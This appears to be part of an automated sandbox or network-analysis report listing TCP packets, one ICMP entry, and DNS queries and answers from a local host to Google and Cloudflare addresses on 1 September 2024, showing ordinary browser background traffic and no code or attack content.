Sep 1, 2024 02:49:57.010751009 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:57.280812979 CEST	58201	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:57.398329973 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:57.398432970 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:57.399049044 CEST	58201	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:57.439513922 CEST	58201	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:57.522731066 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:50:16.560148954 CEST	50594	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:50:16.560262918 CEST	63106	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:50:16.566720009 CEST	53	63106	1.1.1.1	192.168.2.4
Sep 1, 2024 02:50:16.566740990 CEST	53	50594	1.1.1.1	192.168.2.4
Sep 1, 2024 02:50:16.567670107 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:16.894083977 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.013330936 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.013406992 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.013418913 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.013432980 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.013689041 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.020471096 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.022345066 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.022944927 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.023075104 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.023884058 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.024291992 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.117028952 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.117142916 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.117151022 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.117162943 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.117655039 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.117852926 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.119144917 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.121047020 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.121376038 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.124095917 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.211682081 CEST	443	56421	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.246834040 CEST	56421	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:27.530139923 CEST	58394	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:50:27.530407906 CEST	64866	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:50:27.536681890 CEST	53	58394	1.1.1.1	192.168.2.4
Sep 1, 2024 02:50:27.536912918 CEST	53	64866	1.1.1.1	192.168.2.4
Sep 1, 2024 02:50:27.537950039 CEST	56530	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:50:27.538065910 CEST	56530	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:50:27.538302898 CEST	56530	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:50:27.538399935 CEST	56530	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:50:27.988019943 CEST	443	56530	162.159.61.3	192.168.2.4
Sep 1, 2024 02:50:27.992600918 CEST	56530	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:50:28.024590015 CEST	56530	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:50:28.092698097 CEST	443	56530	162.159.61.3	192.168.2.4
Sep 1, 2024 02:50:28.092708111 CEST	443	56530	162.159.61.3	192.168.2.4
Sep 1, 2024 02:50:28.092716932 CEST	443	56530	162.159.61.3	192.168.2.4
Sep 1, 2024 02:50:28.092752934 CEST	443	56530	162.159.61.3	192.168.2.4
Sep 1, 2024 02:50:28.093168020 CEST	56530	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:50:28.093168974 CEST	56530	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:50:28.196444035 CEST	443	56530	162.159.61.3	192.168.2.4
Sep 1, 2024 02:50:28.197158098 CEST	56530	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:50:28.298419952 CEST	443	56530	162.159.61.3	192.168.2.4
Sep 1, 2024 02:50:28.299154997 CEST	443	56530	162.159.61.3	192.168.2.4
Sep 1, 2024 02:50:28.299391985 CEST	443	56530	162.159.61.3	192.168.2.4
Sep 1, 2024 02:50:28.300612926 CEST	54631	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:28.300614119 CEST	56530	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:50:28.300918102 CEST	54631	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:28.761002064 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:28.761018038 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:28.761972904 CEST	54631	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:28.761972904 CEST	54631	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:28.762594938 CEST	54631	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:28.762656927 CEST	54631	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:28.768600941 CEST	54631	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:28.779175997 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:28.857327938 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:28.858082056 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:28.858170986 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:28.861891985 CEST	54631	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:28.864053965 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:28.872991085 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:28.873019934 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:28.873298883 CEST	54631	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:28.877779007 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:28.877872944 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:28.880593061 CEST	54631	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:28.907620907 CEST	54631	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:28.977384090 CEST	443	54631	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:58.748562098 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:58.748770952 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:59.207366943 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:59.207415104 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:59.208106995 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:59.208208084 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:59.208511114 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:59.208568096 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:59.225451946 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:59.304995060 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:59.305507898 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:59.305799007 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:59.305934906 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:59.317300081 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:59.317559004 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:50:59.317842960 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:59.344290018 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:50:59.437192917 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:51:02.843432903 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:51:02.952431917 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:51:02.952528954 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:51:02.952866077 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:51:02.981415987 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:51:03.073060036 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:51:19.886145115 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:19.886322021 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:19.886678934 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:19.886794090 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:20.294856071 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:20.337985039 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:20.339204073 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:20.374664068 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:20.397531986 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:20.397829056 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:20.397836924 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:20.397845030 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:20.398134947 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:20.398168087 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:20.434909105 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:20.466830015 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:20.494653940 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:20.495002985 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:20.592056990 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:20.593099117 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:20.593224049 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:20.593987942 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:21.472037077 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:21.472170115 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:21.568638086 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:21.580400944 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:21.584549904 CEST	443	52577	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:21.584804058 CEST	52577	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:22.280466080 CEST	58417	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:51:22.282711983 CEST	65070	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:51:22.287827015 CEST	53	58417	1.1.1.1	192.168.2.4
Sep 1, 2024 02:51:22.292835951 CEST	53	65070	1.1.1.1	192.168.2.4
Sep 1, 2024 02:51:22.295521021 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:22.295865059 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:22.295865059 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:22.295991898 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:22.687938929 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:22.741919994 CEST	443	51954	162.159.61.3	192.168.2.4
Sep 1, 2024 02:51:22.742844105 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:22.777800083 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:22.781996012 CEST	443	51954	162.159.61.3	192.168.2.4
Sep 1, 2024 02:51:22.782006025 CEST	443	51954	162.159.61.3	192.168.2.4
Sep 1, 2024 02:51:22.782012939 CEST	443	51954	162.159.61.3	192.168.2.4
Sep 1, 2024 02:51:22.782016993 CEST	443	51954	162.159.61.3	192.168.2.4
Sep 1, 2024 02:51:22.782362938 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:22.782494068 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:22.836513042 CEST	443	51954	162.159.61.3	192.168.2.4
Sep 1, 2024 02:51:22.871370077 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:22.876056910 CEST	443	51954	162.159.61.3	192.168.2.4
Sep 1, 2024 02:51:22.878777981 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:22.974946022 CEST	443	51954	162.159.61.3	192.168.2.4
Sep 1, 2024 02:51:22.976070881 CEST	443	51954	162.159.61.3	192.168.2.4
Sep 1, 2024 02:51:22.976516008 CEST	443	51954	162.159.61.3	192.168.2.4
Sep 1, 2024 02:51:22.976991892 CEST	51954	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:51:30.076520920 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:51:30.171133041 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:51:30.178956985 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:51:30.196199894 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:51:30.219027996 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:51:30.288635015 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:51:30.293185949 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:51:30.412669897 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:51:33.478925943 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:51:33.592938900 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:51:33.593445063 CEST	58809	443	192.168.2.4	142.251.41.14
Sep 1, 2024 02:51:33.713205099 CEST	443	58809	142.251.41.14	192.168.2.4
Sep 1, 2024 02:52:03.782922029 CEST	59853	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:52:03.783135891 CEST	59853	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:52:03.783389091 CEST	59853	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:52:03.783540010 CEST	59853	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:52:04.244111061 CEST	443	59853	162.159.61.3	192.168.2.4
Sep 1, 2024 02:52:04.244750023 CEST	59853	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:52:04.277822018 CEST	59853	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:52:04.340017080 CEST	443	59853	162.159.61.3	192.168.2.4
Sep 1, 2024 02:52:04.340028048 CEST	443	59853	162.159.61.3	192.168.2.4
Sep 1, 2024 02:52:04.340032101 CEST	443	59853	162.159.61.3	192.168.2.4
Sep 1, 2024 02:52:04.340035915 CEST	443	59853	162.159.61.3	192.168.2.4
Sep 1, 2024 02:52:04.341396093 CEST	59853	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:52:04.341396093 CEST	59853	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:52:04.436908007 CEST	443	59853	162.159.61.3	192.168.2.4
Sep 1, 2024 02:52:04.437146902 CEST	59853	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:52:04.531847954 CEST	443	59853	162.159.61.3	192.168.2.4
Sep 1, 2024 02:52:04.532751083 CEST	443	59853	162.159.61.3	192.168.2.4
Sep 1, 2024 02:52:04.532908916 CEST	443	59853	162.159.61.3	192.168.2.4
Sep 1, 2024 02:52:04.533195972 CEST	59853	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:52:04.534374952 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:04.534374952 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:04.985672951 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:04.985786915 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:04.986198902 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:04.986251116 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:04.986481905 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:04.986535072 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:05.003428936 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:05.081518888 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:05.081935883 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:05.082155943 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:05.095535040 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:05.095727921 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:05.095828056 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:05.144176006 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:05.215409040 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:07.701412916 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:07.810676098 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:07.810929060 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:07.810960054 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:07.839334011 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:07.930944920 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:20.910903931 CEST	138	138	192.168.2.4	192.168.2.255
Sep 1, 2024 02:52:30.778805971 CEST	59057	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:52:30.778805971 CEST	61630	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:52:30.785497904 CEST	53	59057	1.1.1.1	192.168.2.4
Sep 1, 2024 02:52:30.785512924 CEST	53	61630	1.1.1.1	192.168.2.4
Sep 1, 2024 02:52:30.786315918 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:30.786644936 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:30.786644936 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:30.786644936 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:31.199198961 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:31.231672049 CEST	443	61056	172.64.41.3	192.168.2.4
Sep 1, 2024 02:52:31.232168913 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:31.261609077 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:31.298816919 CEST	443	61056	172.64.41.3	192.168.2.4
Sep 1, 2024 02:52:31.298942089 CEST	443	61056	172.64.41.3	192.168.2.4
Sep 1, 2024 02:52:31.299488068 CEST	443	61056	172.64.41.3	192.168.2.4
Sep 1, 2024 02:52:31.299496889 CEST	443	61056	172.64.41.3	192.168.2.4
Sep 1, 2024 02:52:31.304228067 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:31.304296017 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:31.333142042 CEST	443	61056	172.64.41.3	192.168.2.4
Sep 1, 2024 02:52:31.358558893 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:31.403497934 CEST	443	61056	172.64.41.3	192.168.2.4
Sep 1, 2024 02:52:31.403742075 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:31.504338026 CEST	443	61056	172.64.41.3	192.168.2.4
Sep 1, 2024 02:52:31.505103111 CEST	443	61056	172.64.41.3	192.168.2.4
Sep 1, 2024 02:52:31.505897045 CEST	443	61056	172.64.41.3	192.168.2.4
Sep 1, 2024 02:52:31.506089926 CEST	61056	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:52:36.172727108 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:36.272263050 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:36.273283005 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:36.292848110 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:36.316682100 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:36.383589983 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:36.383603096 CEST	443	57622	142.251.35.174	192.168.2.4
Sep 1, 2024 02:52:36.386214972 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:36.420697927 CEST	57622	443	192.168.2.4	142.251.35.174
Sep 1, 2024 02:52:36.505824089 CEST	443	57622	142.251.35.174	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 1, 2024 02:48:20.333429098 CEST	192.168.2.4	1.1.1.1	c28e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 1, 2024 02:48:16.541750908 CEST	192.168.2.4	1.1.1.1	0x505	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:16.542121887 CEST	192.168.2.4	1.1.1.1	0xa747	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Sep 1, 2024 02:48:19.557637930 CEST	192.168.2.4	1.1.1.1	0x873c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 02:48:19.557637930 CEST	192.168.2.4	1.1.1.1	0x413f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.558131933 CEST	192.168.2.4	1.1.1.1	0x1018	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.559030056 CEST	192.168.2.4	1.1.1.1	0x7612	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 02:48:19.559497118 CEST	192.168.2.4	1.1.1.1	0x5401	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.559497118 CEST	192.168.2.4	1.1.1.1	0x4ed9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 02:48:19.559835911 CEST	192.168.2.4	1.1.1.1	0x748e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.560094118 CEST	192.168.2.4	1.1.1.1	0x1e67	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 02:48:19.675791025 CEST	192.168.2.4	1.1.1.1	0x9029	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.676026106 CEST	192.168.2.4	1.1.1.1	0xa5b4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 02:48:32.608781099 CEST	192.168.2.4	1.1.1.1	0xeaa9	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:32.608930111 CEST	192.168.2.4	1.1.1.1	0x9a2a	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Sep 1, 2024 02:48:35.637213945 CEST	192.168.2.4	1.1.1.1	0x56d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:35.637407064 CEST	192.168.2.4	1.1.1.1	0x1a2d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 02:48:35.637778997 CEST	192.168.2.4	1.1.1.1	0x781b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:35.637830019 CEST	192.168.2.4	1.1.1.1	0x7a7b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 02:48:35.681054115 CEST	192.168.2.4	1.1.1.1	0xccd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:35.681176901 CEST	192.168.2.4	1.1.1.1	0xc00b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 02:50:16.560148954 CEST	192.168.2.4	1.1.1.1	0xb2be	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:50:16.560262918 CEST	192.168.2.4	1.1.1.1	0x3ea3	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 02:50:27.530139923 CEST	192.168.2.4	1.1.1.1	0x5e77	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:50:27.530407906 CEST	192.168.2.4	1.1.1.1	0x2f2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 02:51:22.280466080 CEST	192.168.2.4	1.1.1.1	0xbfdd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:51:22.282711983 CEST	192.168.2.4	1.1.1.1	0x82c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 02:52:30.778805971 CEST	192.168.2.4	1.1.1.1	0xb79e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:52:30.778805971 CEST	192.168.2.4	1.1.1.1	0x1594	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 1, 2024 02:48:16.548788071 CEST	1.1.1.1	192.168.2.4	0x505	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:16.549134016 CEST	1.1.1.1	192.168.2.4	0xa747	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:19.564270020 CEST	1.1.1.1	192.168.2.4	0x873c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 02:48:19.564496040 CEST	1.1.1.1	192.168.2.4	0x413f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.564496040 CEST	1.1.1.1	192.168.2.4	0x413f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.564608097 CEST	1.1.1.1	192.168.2.4	0x1018	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.564608097 CEST	1.1.1.1	192.168.2.4	0x1018	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.565586090 CEST	1.1.1.1	192.168.2.4	0x7612	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 02:48:19.566066980 CEST	1.1.1.1	192.168.2.4	0x4ed9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 02:48:19.566164970 CEST	1.1.1.1	192.168.2.4	0x5401	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.566164970 CEST	1.1.1.1	192.168.2.4	0x5401	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.566598892 CEST	1.1.1.1	192.168.2.4	0x1e67	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
